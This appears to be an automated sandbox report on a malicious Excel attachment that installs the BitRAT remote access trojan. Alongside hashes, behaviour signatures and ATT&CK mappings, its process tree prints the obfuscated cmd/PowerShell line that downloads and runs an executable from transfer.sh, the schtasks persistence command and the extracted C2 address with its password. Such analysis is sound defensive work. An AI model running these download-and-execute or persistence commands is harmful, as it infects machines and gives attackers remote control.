bitrat | c1f218a24f82946584e59d64abc9762e85614803fe82c432d21678d1ae000db5

General

Target

Zapitvane_MACH_BULGARIA_EOOD_09_2023.xls
Size

100KB
MD5

55e0c24ad93d53e9a161d813f09d9e9a
SHA1

e3b6b703b99801b32a4c9754d591383dc30432bb
SHA256

c1f218a24f82946584e59d64abc9762e85614803fe82c432d21678d1ae000db5
SHA512

55127c6cbb0a7120f86378feb4057ccfc5341b22f902fffd14121cde404002de6422ebc5b346ae8ea8967d458d4581c68f7ae97d6b0ff85ad10d38aa38071375
SSDEEP

3072:QrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnADtJE2zuxq+fr9wBLa71ba2ryLTHeYR:2xEtjPOtioVjDGUU1qfDlavx+W2QnApF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3756	4044	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 4788 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

gg1c8.exe

pid process

1400 gg1c8.exe

flow	pid	process
16	4788	powershell.exe

pid	process
1400	gg1c8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3100 schtasks.exe

pid	process
3100	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4044 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4788 powershell.exe
4788 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4788 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4044 EXCEL.EXE
4044 EXCEL.EXE

pid	process
4788	powershell.exe
4788	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4788	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE
4044	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 4044 wrote to memory of 3756	4044	EXCEL.EXE	cmd.exe
PID 4044 wrote to memory of 3756	4044	EXCEL.EXE	cmd.exe
PID 3756 wrote to memory of 4788	3756	cmd.exe	powershell.exe
PID 3756 wrote to memory of 4788	3756	cmd.exe	powershell.exe
PID 4788 wrote to memory of 1400	4788	powershell.exe	gg1c8.exe
PID 4788 wrote to memory of 1400	4788	powershell.exe	gg1c8.exe
PID 4788 wrote to memory of 1400	4788	powershell.exe	gg1c8.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Zapitvane_MACH_BULGARIA_EOOD_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4044

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/YeTYSYp0DR/abe.e^xe -o C:\Users\Public\gg1c8.exe;C:\Users\Public\gg1c8.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/YeTYSYp0DR/abe.exe -o C:\Users\Public\gg1c8.exe;C:\Users\Public\gg1c8.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4788

C:\Users\Public\gg1c8.exe
"C:\Users\Public\gg1c8.exe"
4⤵
- Executes dropped EXE
PID:1400

C:\Users\Public\gg1c8.exe
"C:\Users\Public\gg1c8.exe"
5⤵
PID:4896

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\state"
5⤵
PID:4560

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\gg1c8.exe" "C:\Users\Admin\AppData\Roaming\state\state.exe"
5⤵
PID:4968

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\state\state.exe'" /f
5⤵
PID:2804

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\state\state.exe'" /f
6⤵
- Creates scheduled task(s)
PID:3100

C:\Users\Admin\AppData\Roaming\state\state.exe
C:\Users\Admin\AppData\Roaming\state\state.exe
1⤵
PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pi04gnw3.clu.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
5.1MB

MD5
9daa57b489fa4ac920cdbf09d018b7f0

SHA1
7de4586c966abb51b791c419d85d5663ea0307b6

SHA256
e2cee7a8fe833038806509be596a07b3082c3e38ddae66caa6275764d8420e3c

SHA512
f98f4c2600a1810e999756008235e194d43cea8d5e6d38a61f918882051649cdddd839610b87824aa888ecdec41ac0246bf212c298237ee18486cbd82d2fa48e

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
704KB

MD5
ab4675807c04c9672354566e6c59e99c

SHA1
38abaea585e0ebfc2b3a14267710c1399e62a0e2

SHA256
0a57706d669d73f8d535a07bd9e6e0844d144da5b5eb533a01bb1110dd2107d9

SHA512
468cd7617d5ae038ba8c982856d9e4abe6960e8bccf9b0870d82c5ecad8821f3e0565cb5b8d041aeafe28a6d61e74b4977d24ecebbaa63874fa0fc6bd1dd02d7

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
320KB

MD5
d88640393691701dca699d72a5fb85bd

SHA1
fc9f207647128af2a6f7257dfd5061abdd23275e

SHA256
2ae1a804de3ca02cf1e6a249d614f2ad73d51adc478d993e19436068e5dc26ec

SHA512
3ab03c7a089026bd7f78a49a9c30a046ed4959d20fcf9cb63a2b00e2bd51f073b4e25450d663417c50ea3814ab38619df14cd39225a3d1c208483633bba2410b

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
5.7MB

MD5
c6236e0ca5d84121cbe590056136e459

SHA1
b3ca1ac673e4cfcdf3a9d10d6386c3d54107ac2b

SHA256
c692927a50291d39308cb575f6bd1eae1f438740902d4a624b01df99eccf0f7f

SHA512
a199e68bbb45f14e636bf928595faae5c55a0ee7b9b617ce884293b49b8407e2f70fa30a62c9d8762f12ec823622b918c27b47d0426e92424a085ad80d02e432

Download Submit
memory/1400-73-0x0000000007350000-0x0000000007ADA000-memory.dmp

Filesize
7.5MB

Download
memory/1400-72-0x00000000057E0000-0x00000000057F0000-memory.dmp

Filesize
64KB

Download
memory/1400-71-0x0000000005DA0000-0x0000000006344000-memory.dmp

Filesize
5.6MB

Download
memory/1400-70-0x0000000000690000-0x0000000000E2E000-memory.dmp

Filesize
7.6MB

Download
memory/1400-69-0x00000000746D0000-0x0000000074E80000-memory.dmp

Filesize
7.7MB

Download
memory/1400-80-0x00000000746D0000-0x0000000074E80000-memory.dmp

Filesize
7.7MB

Download
memory/2540-94-0x0000000073CD0000-0x0000000074480000-memory.dmp

Filesize
7.7MB

Download
memory/4044-16-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-14-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-0-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4044-17-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-18-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-19-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-20-0x00007FFBEE850000-0x00007FFBEE860000-memory.dmp

Filesize
64KB

Download
memory/4044-26-0x000001908CD00000-0x000001908D500000-memory.dmp

Filesize
8.0MB

Download
memory/4044-29-0x000001908CD00000-0x000001908D500000-memory.dmp

Filesize
8.0MB

Download
memory/4044-30-0x000001908CD00000-0x000001908D500000-memory.dmp

Filesize
8.0MB

Download
memory/4044-31-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-33-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-34-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-35-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-2-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-10-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-46-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-47-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-1-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4044-4-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-3-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4044-5-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4044-52-0x000001908CD00000-0x000001908D500000-memory.dmp

Filesize
8.0MB

Download
memory/4044-53-0x000001908CD00000-0x000001908D500000-memory.dmp

Filesize
8.0MB

Download
memory/4044-6-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-8-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-15-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-7-0x00007FFBF0D90000-0x00007FFBF0DA0000-memory.dmp

Filesize
64KB

Download
memory/4044-13-0x00007FFBEE850000-0x00007FFBEE860000-memory.dmp

Filesize
64KB

Download
memory/4044-12-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-9-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-11-0x00007FFC30D10000-0x00007FFC30F05000-memory.dmp

Filesize
2.0MB

Download
memory/4788-58-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4788-51-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4788-59-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4788-57-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4788-45-0x000001AC214B0000-0x000001AC214D2000-memory.dmp

Filesize
136KB

Download
memory/4788-48-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-56-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-49-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4788-68-0x00007FFC083F0000-0x00007FFC08EB1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-50-0x000001AC214F0000-0x000001AC21500000-memory.dmp

Filesize
64KB

Download
memory/4896-84-0x00000000745E0000-0x0000000074619000-memory.dmp

Filesize
228KB

Download
memory/4896-79-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-86-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-85-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-87-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-88-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-89-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-74-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-77-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-90-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download
memory/4896-76-0x0000000000400000-0x00000000007CE000-memory.dmp

Filesize
3.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads